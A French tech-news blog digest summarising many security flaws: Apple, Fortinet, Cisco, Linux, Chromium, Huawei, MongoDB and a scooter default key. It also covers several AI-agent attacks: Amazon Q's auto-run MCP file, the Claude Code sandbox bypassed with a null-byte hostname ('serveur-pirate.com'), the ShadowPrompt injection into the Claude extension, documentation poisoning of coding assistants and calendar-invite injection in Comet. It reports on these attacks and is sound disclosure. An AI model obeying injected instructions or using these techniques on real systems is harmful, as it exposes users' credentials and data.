Merci de gérer et maintenir le site linuxfr, j’ai appris beaucoup de choses
en le lisant, même si je ne suis qu’un simple lecteur :-)
Merci de fournir le code source sur github, ça m’a permis de debug en live
mes tests.

Bonne soirée

Commentaires : voir le flux Atom ouvrir dans le navigateur

Si vous utilisez Hide My Email d'Apple pour éviter de balancer votre vraie adresse mail à tous les sites qui vous la réclament, j'ai une mauvaise nouvelle les amis ! Tyler Murphy, cofondateur d'EasyOptOuts a découvert une entourloupe qui permettrait de remonter jusqu'à votre vraie adresse email... Ça craint ! Et cette faille serait dans la nature depuis plus d'un an !

Argh !

Alors petit rappel pour ceux qui ne connaissent pas Hide My Email. C'est une fonction liée à iCloud+ qui vous permet de générer des adresses jetables en @icloud.com. Vous vous inscrivez quelque part avec un alias bidon, et ensuite les mails sont redirigés vers votre boîte réelle, et comme ça le site ne voit jamais votre adresse perso. Mais dans ses tests d'exploitation, Tyler Murphy a eu un taux de succès de 100% avec tous ces alias révélant leur vrai propriétaire. Donc si vous avez des alias Hide My Email en cours d'usage, partez du principe qu'ils sont peut-être grillés.

C'est 404 Media, qui a sorti l'info, et malheureusement, ils ne détaillent pas la technique parce que pour le moment, ça fonctionne encore et ce n'est pas patché. Faut dire qu'une fois votre vraie adresse récupérée par quelqu'un de mal intentionné, celui-ci peut la recouper du contenu trouvable en ligne ou sur le dark net pour retrouver votre nom, vos autres comptes, et tout ce que Hide My Email était censé empêcher.

Mais le plus gênant dans cette histoire, c'est la gestion merdique du problème par Apple. En effet, Murphy signale le bug en juin 2024 et Apple répond un mois plus tard qu'ils ont lancé une enquête en interne. Puis en mars de cette année, ils annoncent avoir corrigé le souci, sauf que non. Murphy vérifie et la faille est toujours là. Alors en mai, Apple change de disque et lui demande carrément de la fermer : "nous vous serions reconnaissants de ne pas divulguer ces informations tant que notre enquête n'est pas terminée". Bref, taisez-vous pendant qu'on ne corrige rien ^^.

Alors le gars en a eu marre. Il a estimé que les utilisateurs de Hide My Email méritaient de savoir alors il a décidé de parler et je pense que pour ça, on peut le remercier ! Apple va peut-être finir par se bouger le cul.

Et nous en attendant, on fait quoi alors ? Hé bien pas grand-chose parce que tant que côté Apple y'a pas de patch, y'a rien à faire. Mais sachez le, rien ne vous oblige à mettre tous vos œufs dans le même panier donc si vous voulez des alias sur lesquels vous gardez vraiment la main, il existe des solutions maison comme générer vos propres adresses jetables via Cloudflare avec votre nom de domaine ou encore passer par la crème de la crème des services d'emails jetables .

Source : 404 Media

Amazon Q, l'assistant de programmation dopé à l'IA que propose Amazon, pouvait se faire piéger d'une manière aussi simple qu'embarrassante.

Petit rappel pour situer. Amazon Q se greffe dans Visual Studio Code, l'éditeur de code de Microsoft que les développeurs utilisent au quotidien, et sert à écrire ou corriger du code à votre place.

Des chercheurs de Wiz, une société spécialisée dans la sécurité du cloud, ont découvert que cet assistant exécutait des commandes cachées à la simple ouverture d'un projet. La faille a reçu un identifiant officiel, CVE-2026-12957, et une note de gravité de 8,5 sur 10, ce qui est sérieux.

Le problème venait d'un fichier de configuration un peu particulier. Pour fonctionner, Amazon Q lit un fichier nommé .amazonq/mcp.json, qui s'appuie sur le MCP, pour Model Context Protocol, une sorte de prise standardisée qui permet de brancher une IA sur des outils extérieurs.

Sauf qu'il suffisait d'ouvrir un dépôt de code et d'activer Amazon Q pour que l'extension aille lire ce fichier et exécute son contenu. Sans fenêtre de confirmation, sans demander votre avis, et sans vérifier si vous faisiez confiance au dossier que vous veniez d'ouvrir.

Et c'est là que ça devient vraiment fourbe. Ces commandes héritaient de tout votre environnement de travail. Du coup, elles pouvaient récupérer au passage vos clés d'accès au cloud d'Amazon, vos jetons de connexion, vos secrets d'API et même l'accès à votre agent SSH, ce trousseau qui garde en mémoire vos connexions aux serveurs distants. En clair, tout ce qu'un développeur laisse ouvert pendant qu'il travaille.

Le plus gênant, c'est que Visual Studio Code possède justement une sécurité prévue pour ça, la confiance d'espace de travail, qui vous demande si vous validez un dossier avant de le laisser agir. L'extension d'Amazon passait tout bonnement par-dessus.

Pour un pirate, le piège était facile à tendre. Il suffisait de glisser ce fichier dans un projet open source d'apparence anodine, ou dans un bout de code partagé sur un forum, et d'attendre qu'un développeur qui récupère un projet l'ouvre pour voir comment il fonctionne.

Amazon a corrigé le tir dans la version 1.65.0 de son serveur de langage et a confirmé la correction. Wiz note d'ailleurs que des failles très proches ont déjà touché d'autres outils de code boostés à l'IA.

Donner autant de pouvoir à une IA sans le moindre garde-fou, et laisser filer les clés du cloud avec, ça reste une erreur de débutant pour un géant comme Amazon.

Source : The Register

Environ 75 000 pare-feu Fortinet ont vu leurs identifiants de connexion volés puis vérifiés un par un, des FortiGate, ces boîtiers qui filtrent l'accès au réseau des entreprises et servent très souvent de porte d'entrée VPN pour les salariés en télétravail.

Baptisée FortiBleed par les chercheurs qui l'ont mise au jour, la campagne couvre 194 pays et plus de 21 000 domaines, soit à peu près la moitié des pare-feu Fortinet exposés sur Internet à l'heure actuelle.

Parmi les organisations dont les accès se sont retrouvés dans la nature, on relève des noms qui n'ont rien d'amateur en matière de sécurité : Foxconn, Samsung, Comcast, Siemens, Lenovo, FedEx, Accenture ou encore Oracle.

Toute l'ironie de l'affaire tient là : le pare-feu, l'appareil précisément chargé de tenir les intrus à l'écart du réseau, s'est transformé en point d'entrée qui leur a ouvert la porte en grand.

Sur le plan technique, les attaquants interceptaient l'authentification du SSL VPN, cet accès distant chiffré qui permet de rejoindre le réseau interne d'une entreprise depuis l'extérieur, récupéraient l'empreinte chiffrée des mots de passe et la cassaient sur une grappe de 45 cartes graphiques pilotée par l'outil Hashtopolis, avant de basculer vers l'Active Directory, l'annuaire qui gère l'ensemble des comptes Windows de l'organisation.

Les volumes traités donnent la mesure de l'opération : 1,16 milliard de tentatives de connexion lancées contre 320 000 équipements FortiGate, et 2,1 milliards d'autres dirigées en parallèle vers 160 000 serveurs de bases de données Microsoft.

Au moins quatre organisations ont été entièrement compromises, avec déplacement des attaquants d'une machine à l'autre à l'intérieur du réseau, au Japon, à Taïwan, au Vietnam, en Irak et en Turquie. Le cas le plus sérieux touche un sous-traitant turc de la défense, membre de l'OTAN, chez qui des documents classifiés ont été volés. Tout ça est attribué à un groupe cybercriminel russophone à plusieurs opérateurs.

C'est le chercheur Bob Diachenko qui a repéré les intrusions, avant que Hudson Rock (une société spécialisée dans l'analyse des données aspirées par les logiciels espions) ne décortique le tout et que Kevin Beaumont confirme que les identifiants étaient bien valides.

Hudson Rock a d'ailleurs mis en ligne une liste des domaines concernés, histoire que chaque entreprise vérifie si elle figure au tableau de chasse.

Fortinet, de son côté, minimise et parle d'un recyclage de données issues d'incidents passés et de simples attaques par force brute, pas d'une nouvelle faille dans ses produits.

Sauf que voilà : la plupart des boîtiers concernés sont toujours en ligne. Recyclées ou pas, ces données ouvrent une porte bien réelle tant que les mots de passe VPN et administrateur n'ont pas été changés, et changer tous les accès d'un pare-feu dans une grande organisation ne se fait pas en claquant des doigts.

Bref, faille ou vieux stock recyclé, ça ne change rien pour les boîtes touchées : on change les mots de passe VPN tout de suite, et on active la double authentification.

Source : The Register

Une seule petite ligne de code envoyée au mauvais endroit pouvait transformer un Surface Laptop en bloc de métal inutilisable. C'est sur cette faille que Microsoft a discrètement travaillé pendant trois mois, avant qu'elle ne soit rendue publique le 12 juin.

L'histoire commence de façon assez improbable. Jack Darcy, un chercheur en sécurité australien, a demandé à Microsoft Copilot (l'assistant IA intégré à Windows) de régler le rétroéclairage de son écran, rien de dingue donc. Bien gentil, Copilot écrit tout seul un script Python, l'exécute, et la paf, il rend l'ordinateur totalement inopérant. Plus de démarrage, plus d'accès au BIOS, rien, queudalle.

En creusant, Darcy comprend ce qui vient de se passer. Le script a écrit n'importe quoi dans le firmware du SAM, le Surface Aggregator Microcontroller, cette petite puce qui coordonne le matériel sur les Surface : alimentation, ventilateurs, clavier, capteurs. Une fois sa mémoire corrompue, la machine ne sait tout simplement plus démarrer.

Le problème de fond, c'est que cette puce n'avait aucun garde-fou. Elle acceptait n'importe quelle valeur en écriture sans vérifier si elle avait le moindre sens. Pire, les commandes de lecture et celles d'écriture partageaient la même numérotation, ce qui rendait toute exploration prudente impossible. "Vous ne pouvez littéralement pas scanner deux commandes qui se suivent sans une chance sur deux de tomber sur une commande d'écriture", résume Darcy.

Du coup, un seul paquet expédié pouvait griller la carte mère pour de bon. Aucune réparation logicielle, aucune réinitialisation d'usine, aucun accès USB de secours : direction le remplacement complet de la carte mère, soit plusieurs centaines d'euros.

Tout n'est pas si noir quand même. Pour déclencher la catastrophe, il fallait déjà disposer des droits administrateur sur la machine et avoir désactivé Secure Boot et Secure Core, les deux protections activées par défaut sur les Surface. Autrement dit, un parc d'entreprise géré normalement ne risquait rien, et les seules machines réellement exposées étaient celles des bidouilleurs tournant sous Linux, en configuration gaming allégée ou avec des pilotes maison.

Les modèles concernés vont du Surface Laptop 3 au Surface Laptop 6 et du Surface Book 1 au Surface Book 3. Les Surface Go semblent épargnés, et les versions ARM n'ont pas été testées.

Côté correctif, Microsoft a plutôt bien joué le jeu. Prévenu le 10 mars, l'éditeur a reconnu le défaut puis déployé des mises à jour de firmware via Windows Update dès le mois de mars, si bien que la grande majorité des appareils touchés sont désormais protégés. Darcy a récupéré un Surface tout neuf pour le dédommager.

Un point chiffonne quand même. Microsoft a refusé d'attribuer un CVE, l'identifiant officiel qui répertorie une faille de sécurité, estimant que le bug "n'atteignait pas le seuil" requis. Pour un défaut capable de tuer une machine de façon irréversible, l'argument laisse songeur.

Pour la suite, Redmond mise sur le langage Rust, réputé pour empêcher ce genre de débordements mémoire. Le firmware embarqué est en cours de réécriture intégrale, baptisée "Secure EC", tout comme une partie de l'UEFI sous le nom de "Project Patina".

Bref, un Copilot qui brique tout seul le PC sur lequel il tourne, voilà une démo involontaire dont Microsoft se serait bien passé.

Source : The Register

Le Catalyst SD-WAN Manager de Cisco, anciennement appelé vManage, c'est la salle de contrôle depuis laquelle une grande entreprise règle, surveille et met à jour à distance le réseau entier qui relie ses dizaines d'agences, usines ou boutiques entre elles, et c'est ce logiciel très sensible qui se retrouve aujourd'hui troué par une faille déjà exploitée dans la nature.

Le pire ? Aucun correctif.

Référencée CVE-2026-20245 et notée 7,8 sur 10 sur l'échelle CVSS, le barème qui classe la dangerosité des failles de zéro à dix, la vulnérabilité permet à un attaquant déjà titulaire d'un compte d'administrateur réseau, le profil baptisé netadmin chez Cisco, de téléverser un fichier piégé que le logiciel contrôle mal, puis d'exécuter ses propres commandes en root, c'est-à-dire avec les pleins pouvoirs sur la machine.

Et toutes les versions sont concernées.

Peu importe que la console tourne sur les serveurs de l'entreprise, dans les offres Cloud et Cloud-Pro hébergées par Cisco, ou dans la déclinaison FedRAMP réservée aux administrations américaines, le trou est exactement le même partout.

Il y a plus inquiétant, car dans plusieurs cas bien réels observés par Cisco, l'attaque ne s'est pas arrêtée à la console : elle a poussé une modification de configuration jusqu'aux routeurs et boîtiers installés dans chaque site distant, ce qui revient, quand on tient la salle de contrôle, à tenir d'un coup l'ensemble du réseau de la boîte.

Une nuance, quand même.

Il faut déjà être authentifié pour déclencher la faille, sauf que Cisco conseille du coup d'installer en priorité les correctifs sortis le 14 mai pour deux autres vulnérabilités, CVE-2026-20182 et CVE-2026-20127, dont l'enchaînement offre justement à un assaillant les fameux droits netadmin qui ouvrent ensuite la porte au reste.

En attendant un vrai patch, dont la date n'est pas connue, l'éditeur se contente de publier des indicateurs de compromission, en clair des traces à repérer dans les journaux du serveur pour savoir si on s'est déjà fait avoir.

Et ce n'est pas la première. C'est même la sixième faille SD-WAN exploitée chez Cisco depuis janvier, et le deuxième zero-day, une faille attaquée avant l'arrivée du moindre correctif, en à peine deux mois.

Bref, un accès root activement exploité sur un équipement aussi central, et toujours pas de rustine, ça commence à faire vraiment beaucoup.

Source : The Register

Anthropic, l'entreprise derrière l'IA Claude, a corrigé en douce deux failles dans le bac à sable réseau de Claude Code, son assistant de programmation. Un bac à sable, dans le jargon, c'est un enclos de sécurité : il est censé empêcher l'outil de se connecter à des serveurs non autorisés, pour éviter qu'il envoie vos données n'importe où. Sauf que pendant cinq mois et demi, cet enclos avait une porte dérobée.

La plus récente faille est en fait une jolie bidouille. Claude Code vous laisse définir une liste blanche, par exemple "autorise uniquement les connexions vers *.google.com". Un attaquant envoyait alors une adresse du genre "serveur-pirate.com<a target="_blank" rel="noreferrer noopener" href="http://0.google.com/">0.google.com", avec un caractère invisible (un octet nul) glissé au milieu.

Le filtre de sécurité, lui, lit la fin de la chaîne, voit ".google.com" et valide. Mais le système d'exploitation s'arrête au caractère invisible et se connecte en réalité à serveur-pirate.com. Le filtre et le système ne lisent pas la même adresse. La faille est là.

Combinée à une injection de prompt (le fait de cacher des instructions piégées dans un texte que l'IA va lire), la faille permettait d'exfiltrer des choses sensibles : identifiants cloud, jetons d'accès GitHub, accès aux services internes.

En clair, un dépôt de code piégé pouvait pousser Claude Code à expédier vos secrets vers le serveur de l'attaquant. Le trou a traversé plus de 130 versions de l'outil avant d'être bouché fin mars. Tout utilisateur de Claude Code qui faisait confiance à son bac à sable réseau était donc exposé sans le savoir, du développeur isolé à l'équipe en entreprise.

C'est le chercheur Aonan Guan, de Wyze Labs, qui a remonté le problème. Et sa phrase résume tout : un bac à sable troué, c'est pire que pas de bac à sable du tout. Celui qui n'a aucune protection le sait et reste prudent. Celui qui se croit protégé baisse la garde.

Anthropic affirme avoir trouvé et corrigé la faille de son côté avant le signalement, mais le souci, c'est qu'il n'y a eu ni CVE (le numéro de référence public qui catalogue une faille), ni note dans le journal des versions. Moche moche.

Source : The Register

Une faille planquée pendant 9 ans dans le noyau Linux, voilà ce que les chercheurs de Qualys viennent de déterrer. Son petit nom, c'est ssh-keysign-pwn ou DirtyDecrypt (CVE-2026-46333 pour les intimes), et elle permet à n'importe quel utilisateur local sans privilèges de passer root, de lire votre /etc/shadow et de piquer les clés SSH privées de votre serveur.

Et ce bug dormait là depuis novembre 2016, c'est-à-dire depuis la version 4.10 du kernel. Personne ne l'avait jamais vu et autant vous dire que 9 ans, en cybersécu, c'est une éternité !!

Le truc se cache dans une fonction au nom barbare, __ptrace_may_access(). En gros, quand un processus privilégié abandonne ses droits, y'a une micro-fenêtre, le temps d'un battement de cils, où il reste "accrochable" via ptrace. Vous combinez ça avec l'appel système pidfd_getfd() et hop, vous récupérez les fichiers ouverts d'un process root.

Et l'exploit disponible vise des binaires SUID que tout le monde a sur sa machine, genre ssh-keysign, chage, pkexec ou accounts-daemon.

Du coup, première chose à faire : vous mettez à jour, genre rapidos ! Linus Torvalds a poussé le correctif et si vous ne pouvez pas patcher tout de suite, faut taper la commande sysctl -w kernel.yama.ptrace_scope=2 qui a pour effet de refermer la porte en attendant.

Niveau distros, ça touche à peu près tout le monde, d'Ubuntu 14.04 jusqu'à la 26.04, en passant par Debian, Fedora et toute la famille Red Hat.

Et le plus gênant, c'est que ssh-keysign-pwn, c'est la 4e faille kernel en moins de trois semaines. On a eu CopyFail , Dirty Frag début mai, puis Fragnesia juste après, et maintenant celle-ci. Aïe aïe aïe ! Je commence à me lasser, sérieux ^^.

Le noyau Linux prend cher en ce moment et comme les exploits fonctionnels sont déjà publics, le compte à rebours est lancé pour tous ceux qui traînent !

Alors après tout le monde va vous parler des cybercriminels et des serveurs compromis, et c'est vrai, faut patcher. Mais pour moi, ce genre de faille, c'est aussi une clé qui sert aux bidouilleurs pour reprendre la main sur leur propre matériel. Votre routeur verrouillé, votre objet connecté que le fabricant a laissé tomber depuis quelques années, ce bon vieux NAS dont plus personne ne livre de firmware... une faille comme ça, c'est parfois le seul moyen de le faire revivre !

Bref, faites vos mises à jour. Et gardez en tête que ces mêmes failles qui font flipper les sysadmins, ce sont aussi celles qui redonnent vie au matos verrouillé qui n'avait pas d'autre avenir que de finir à la déchetterie.

Source

Bon, alors là, Google a fait encore trèèèès fort.

Mercredi matin, la firme de Mountain View a carrément publié sur son propre bug tracker Chromium le code d'exploitation d'une faille... qui n'est toujours pas corrigée ! Et pas une petite vulnérabilité oubliée dans un coin, hein, mais une vraie faille de la mort qui tue que la chercheuse indépendante Lyra Rebane leur avait remontée gentiment et en privé . Ça fait 29 mois (2 ans et demi, les matheux ^^) et elle attend toujours un patch !

Le truc vise la Browser Fetch API, un mécanisme qui permet à un site de télécharger de gros fichiers en arrière-plan, genre une longue vidéo. Sauf qu'en la détournant, le code ouvre un service worker qui reste actif en permanence. Du coup, un site malveillant que vous visitez peut glisser un bout de JavaScript qui transforme votre navigateur en relais, tout cela à votre insu.

Parfait donc pour devenir un proxy anonyme pour des inconnus, un nœud de botnet pour des attaques DDoS, ou se faire surveiller quand on surfe sur le net... Et le plus vicelard, c'est que la connexion se rouvre ou reste ouverte même après avoir redémarré le navigateur, voire la machine entière.

Côté victimes, on parle de Chrome, de Microsoft Edge et de quasiment tous les navigateurs basés sur Chromium. Et que vous soyez sur Windows, macOS ou Linux, le bug s'en moque royalement. Rebane a confirmé que Brave, Opera, Vivaldi et Arc sont vulnérables eux aussi.

Bien sûr, Firefox et Safari, eux, passent clairement au travers, parce qu'ils ne supportent pas ce fameux téléchargement en arrière-plan. Bref, encore une fois, ne pas suivre le troupeau de mouton team-Chromium, ça paye !! Si vous cherchiez une raison de plus de larguer Google , la voilà servie sur un plateau.

Perso, ce qui me sidère, c'est que la faille a été classée S1, le deuxième niveau de gravité le plus élevé chez Google et il ne s'est toujours rien passé 29 mois après. C'est ouf quand même... Le post sur le tracker Chromium a bien été supprimé mais on le trouve toujours sur quelques archives / miroirs...

Après l'impact de cette faille, reste quand même limité car elle ne franchit aucune frontière... par exemple, elle ne donne pas accès à vos mails ni au reste de votre ordinateur, mais juste à ce qu'un navigateur sait déjà faire (ce qui est déjà énorme !!). Mais elle pourrait permettre à des cybercriminels de se constituer une flotte de milliers, voire de millions de navigateurs détournés, et le jour où une autre faille tombe, vous avez déjà l'armée prête à dégainer !! La bombe est là, il manque juste la mèche en fait !

Et pour se protéger ?

Bah franchement, pas grand-chose à faire côté utilisateur tant qu'il n'y a pas de patch. Si vous voulez mon avis bancal, le seul signal visible que vous pouvez guetter, c'est un menu de téléchargement qui s'ouvre tout seul sans raison, donc méfiez-vous donc si ça arrive. Maintenant si le sujet vous angoisse vraiment, basculer sur un navigateur pour les adultes ^^, genre Firefox ou Safari règlera la question d'un coup !

Faut pas oublier que Google passe son temps à pointer du doigt les éditeurs trop lents à patcher, alors j'comprends vraiment pas comment ils ont pu merder à ce point.

Source

Le 23 juillet 2025, le Luxembourg entier s'est retrouvé sans réseau mobile, sans téléphone fixe et sans communications d'urgence pendant plus de trois heures.

Dix mois plus tard, on connaît enfin la cause grâce au média The Record : une faille jusque-là inconnue dans le logiciel d'un routeur Huawei.

Le mécanisme est presque bête. Du trafic réseau spécialement fabriqué a été envoyé vers des routeurs d'entreprise Huawei, et ce trafic les a fait redémarrer en boucle, sans jamais s'arrêter.

Pas besoin de pirater quoi que ce soit ni de voler un mot de passe, il suffisait d'envoyer les bons paquets au bon endroit. Ces routeurs équipaient l'infrastructure de POST Luxembourg, l'opérateur télécom historique du pays. Quand le cœur du réseau redémarre en continu, tout s'effondre derrière. Aucune charge criminelle n'a été retenue, faute de pouvoir désigner un responsable.

Le plus inquiétant, c'est ce qu'on ne sait toujours pas. La vulnérabilité n'a jamais été publiée. Aucun identifiant CVE, le numéro de référence standard qui permet de cataloguer une faille de sécurité, n'a été déposé dans les dix mois qui ont suivi.

On ignore si le trou a été bouché, combien d'autres opérateurs utilisent les mêmes routeurs, et si des équipements identiques sont encore vulnérables aujourd'hui quelque part. Les enquêteurs pensent même que POST n'était pas une cible : le trafic malveillant ne faisait peut-être que transiter par son réseau.

Et là, impossible de ne pas penser à FX Lindner. Ce chercheur en sécurité allemand avait alerté Huawei dès 2012 sur la fragilité de leurs équipements réseau, code bâclé et failles à la pelle.

Huawei avait minimisé. Treize ans plus tard, la même histoire se rejoue, sauf qu'elle ne touche plus un labo de test mais un pays entier, services d'urgence compris.

Ça repose la question de fond, celle de la souveraineté des infrastructures télécom européennes. L'Europe parle de souveraineté numérique depuis des années, surtout sur le cloud et l'IA. Mais les tuyaux eux-mêmes, les routeurs qui font transiter les appels et les données, restent souvent du matériel dont le code source échappe totalement aux opérateurs.

Faire tourner le réseau national d'un pays sur des routeurs dont on ne maîtrise ni le code ni le calendrier de correctifs, c'est un pari risqué. Et le Luxembourg vient de découvrir ce que ça coûte quand le pari échoue. Bref, treize ans d'avertissements ignorés, et il aura fallu un pays débranché trois heures pour que le sujet revienne sur la table.

Source : The Record

Une faille découverte dans l'extension Chrome de Claude permettait à n'importe quel site web d'injecter silencieusement des prompts dans votre assistant IA. Pas besoin de cliquer, pas besoin de permission... non, fallait juste visiter une page web et c'était réglé. Le chercheur Oren Yomtov de Koi Security à l’origine de cette découverte, a baptisé ça "ShadowPrompt" et vous allez voir, c'est dingue.

En fait, cette attaque enchaînait deux failles. La première, c'est que l'extension acceptait les messages de n'importe quel sous-domaine en *.claude.ai, car Anthropic avait mis en place un allowlist trop permissif. Sauf qu'Arkose Labs, le fournisseur de CAPTCHA, hébergeait un composant sur a-cdn.claude.ai et malheureusement, ce composant contenait une jolie faille XSS bien classique. Celui-ci acceptait les postMessage sans vérifier l'origine, et le texte reçu était ainsi injectable via un dangerouslySetInnerHTML . Donc y'a bien ZERO validation côté client. Ouééééé !

Un attaquant n'avait qu'à embarquer ce composant CAPTCHA vulnérable dans une iframe cachée sur son site, envoyer un payload via postMessage, et hop, le script injecté pouvait balancer un prompt directement à l'extension. Elle le recevait depuis un domaine *.claude.ai, donc elle l'acceptait les yeux fermés et l'affichait alors dans la sidebar comme une requête légitime de l'utilisateur. La victime ne voyait strictement rien.

Et les dégâts potentiels ne sont clairement pas anecdotiques ! Avec cette technique, un attaquant pouvait voler vos tokens d'accès Gmail, exfiltrer des documents Google Drive, lire tout l'historique de vos conversations avec Claude, et même envoyer des mails en votre nom. Perso, ça fait beaucoup pour un simple onglet ouvert dans Chrome, quoi.

Une nouvelle méthode d'attaque cible les IA de développement comme Copilot. En publiant de la documentation empoisonnée, des hackers trompent les modèles pour qu'ils recommandent des bibliothèques malveillantes. Cette menace invisible pour la sécurité est indétectable par les outils classiques.

Le concept est d'une simplicité désarmante. Plus besoin d'injecter du code malicieux dans un dépôt GitHub ou de trouver une faille zero-day complexe. Il suffit désormais de publier de la documentation technique faussée sur des forums, des wikis ou des fichiers README publics. Ces textes, une fois ingérés par les grands modèles de langage (LLM), deviennent une source de vérité pour l'IA qui assiste les développeurs au quotidien.

Le mécanisme de l'injection indirecte

Le problème est en fait dans la confiance aveugle que les modèles accordent aux données d'entraînement. En décrivant une solution technique qui utilise un paquet spécifique — mais malveillant — l'attaquant s'assure que l'IA proposera ce nom lors d'une requête de génération de code. C'est ce qu'on appelle l'injection de prompt indirecte. Le développeur, pensant gagner du temps, valide la suggestion et installe un composant compromis sans vérification préalable.

Le typosquatting passe au niveau supérieur

Cette technique facilite grandement le typosquatting. Auparavant, un attaquant devait espérer qu'un humain fasse une faute de frappe en saisissant une commande. Aujourd'hui, c'est l'IA qui commet l'erreur pour lui, influencée par des références empoisonnées trouvées sur le web. Comme l'IA présente la solution avec une assurance pédagogique, le sens critique de l'utilisateur baisse d'un cran. Le malware n'est plus dans la documentation, il arrive dans la machine au moment où le développeur exécute la suggestion générée.

Un défi pour la cybersécurité logicielle

La difficulté majeure est que cette attaque est purement textuelle. Les outils de scan de vulnérabilités cherchent du code dangereux, pas des explications trompeuses en langage naturel. Tant que les modèles d'IA ne sauront pas distinguer une documentation légitime d'une tentative de manipulation sémantique, la chaîne d'approvisionnement logicielle restera vulnérable à cette forme de gaslighting numérique. La sécurité repose désormais sur la véracité de l'information ingérée par les machines.

On atteint ici les limites de l'automatisation du développement. Faire confiance à un LLM pour choisir ses dépendances est devenu un risque de sécurité majeur. Cette faille montre que le maillon faible n'est plus seulement l'humain qui tape du code, mais l'outil qui lui souffle les réponses. On risque de voir apparaître des systèmes de vérification de réputation de documentation.

Source : The Register

Des chercheurs en sécurité ont découvert deux failles dans Comet, le navigateur IA de Perplexity. Une simple invitation de calendrier piégée suffisait pour accéder aux fichiers locaux de la machine et prendre le contrôle d'un coffre-fort 1Password, le tout sans aucun clic de l'utilisateur.

Une invitation de calendrier, et c'est tout

L'attaque est d'une simplicité qui fait froid dans le dos. Les chercheurs de Zenity Labs, qui ont baptisé la faille « PleaseFix », ont montré qu'il suffisait d'envoyer une invitation de calendrier contenant des instructions malveillantes cachées. Quand l'utilisateur interagit avec cette invitation dans Comet, l'IA du navigateur exécute en toute décontraction les instructions, sans broncher. Pas besoin de cliquer sur un lien, pas besoin de télécharger quoi que ce soit : le simple fait de consulter l'événement suffisait. Le problème vient de ce qu'on appelle l'injection de prompt indirecte : l'IA ne fait pas la différence entre les instructions légitimes et le contenu malveillant planqué dans un calendrier.

C'est un délire ça ! Je crois que je viens de lire le truc le plus improbable de l'année. Sérieux, vous vous souvenez de Command & Conquer : Generals ? Mais siiii, ce RTS de légende sorti en 2003 bien après C&C et Red Alert !! Hé bien accrochez-vous, car même s'il est techniquement mort depuis la fermeture de GameSpy en 2014, il fait encore parler de lui.

Et pas pour de bonnes raisons. Argh !

Une équipe de chercheurs de chez Atredis Partners s'est penchée sur le code source du jeu, libéré par Electronic Arts début 2025. Au début, j'ai pensé qu'ils avaient juste trouver quelques bugs mineurs, mais en fait, ils ont découvert une série de failles de sécurité totalement dingues qui permettent à n'importe qui de prendre le contrôle de votre PC via le jeu. Carrément...

En réalité le jeu utilise une architecture P2P (peer to peer, qu'on devrait renommer pour l'occasion Pire Trop Pire ^^) qui fait que chaque joueur est connecté directement aux autres. Les chercheurs ont alors mis au point un "ver" baptisé General Graboids qui exploite ces failles pour se propager d'un joueur à l'autre. Concrètement, il utilise une vulnérabilité dans la fonction NetPacket::readFileMessage pour provoquer un bon vieux stack overflow.

Et bim bam boum, une fois en place, l'attaquant peut faire ce qu'il veut. Le ver droppe une DLL malicieuse (genre dbghelp.dll) directement dans le dossier du jeu et l'exécute. Vous êtes en pleine partie et hop, un script force votre base à tout vendre ("Sell Everything"). Puis c'est Game Over et après ça devient la fête du slip avec exécution de commandes système, installation de malwares...etc Y'a qu'à demander, tout est possible.

Ça fait flipper, non ?

Votre navigateur ne supporte pas la lecture de vidéos HTML5. Voici un
<a href="/command-conquer-generals-faille-malware-ver/command-conquer-generals-faille-malware-ver-1.mp4">lien vers la vidéo</a>.

Vous connaissez le concept de clé maître ? Hé bien Rasmus Moorats, un chercheur en sécurité estonien, vient d'en trouver une qui déverrouille l'intégralité du parc de scooters électriques Äike. Et vous vous en doutez, c'est pas vraiment ce que le fabricant avait prévu.

Le bougre a décidé de reverse-engineerer son propre deux-roues connecté après que la boîte ait fait faillite en 2025. Logique, quand le cloud menace de fermer, autant comprendre comment fonctionne sa bécane. Du coup il a décompilé l'app React Native, hooké les communications Bluetooth avec Frida, et là... surprise !

L'authentification entre l'app et l'engin utilise un système de challenge-response. Le scooter envoie un défi aléatoire, l'app le concatène avec une clé secrète, hash le tout en SHA-1, et renvoie le résultat. Simple et efficace. Sauf que la clé secrète en question, c'est FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF. Vingt octets de FF.

Vous l'aurez peut-être compris, c'est la valeur par défaut du SDK fourni par le fabricant du module IoT.

Bref, les devs d'Äike n'ont jamais personnalisé cette clé. Chaque scooter sorti d'usine embarque exactement la même. Du coup avec un script Python et la lib bleak, n'importe qui peut déverrouiller n'importe quel Äike qui passe dans la rue. Hop, on scanne, on répond au challenge avec la clé universelle, et on envoie les commandes : déverrouiller, activer le mode éco, ouvrir le compartiment batterie... tout y passe.

Le plus rigolo dans l'histoire c'est que la société sœur Tuul, qui fait de la location de trottinettes, n'a pas de Bluetooth sur ses engins ! Du coup elle n'est pas touchée. Comme quoi, parfois l'absence de fonctionnalité devient une feature de sécurité.

Évidemment, Rasmus a fait les choses proprement avec une disclosure responsable en septembre dernier. Le fabricant a alors confirmé que c'était bien leur faute, et pas celle du fournisseur du module. Mais bon, maintenant que la boîte a coulé, les correctifs risquent d'attendre looongtemps.

Source

Si vous utilisez MongoDB, accrochez-vous bien parce que là, c'est du lourd. Une faille critique baptisée MongoBLEED vient d'être découverte et elle touche à peu près toutes les versions de MongoDB sorties depuis 2017. Sept ans de versions vulnérables, c'est un chouette record, je trouve ^^.

Le problème avec cette CVE-2025-14847, c'est qu'elle exploite la compression zlib des messages. En gros, quand un attaquant envoie un message compressé mal formé avec des paramètres de longueur trafiqués, MongoDB se met à recracher des bouts de sa mémoire heap sans broncher. Et dans cette mémoire, on peut trouver des trucs sympa genre des mots de passe, des tokens d'authentification, des clés de chiffrement... Bref, le jackpot pour un attaquant.

Le pire dans tout ça c'est que y'a pas besoin d'être authentifié pour exploiter la faille. Si votre instance MongoDB est accessible depuis le réseau, n'importe qui peut s'y connecter et commencer à siphonner votre mémoire. C'est exactement le même genre de cauchemar que Heartbleed en 2014, d'où le petit surnom affectueux.

Du coup, qui est concerné ?

Hé bien à peu près tout le monde... Les versions 3.6.0 jusqu'à 8.0.16 sont touchées, ce qui représente selon les chercheurs de Wiz environ 42% des environnements cloud. Il y aurait donc plus de 87 000 instances MongoDB exposées sur Internet et le problème, c'est que depuis le 26 décembre 2025, des exploitations actives ont été détectées dans la nature. Joyeux Noël !!

La bonne nouvelle, c'est que le fix est simple. Soit vous mettez à jour vers une version patchée (8.2.3+, 8.0.17+, 7.0.28+, 6.0.27+, 5.0.32+ ou 4.4.30+), soit vous désactivez la compression zlib en attendant. Pour ça, c'est dans la config réseau de MongoDB, paramètre compressors qu'il faut virer le zlib.

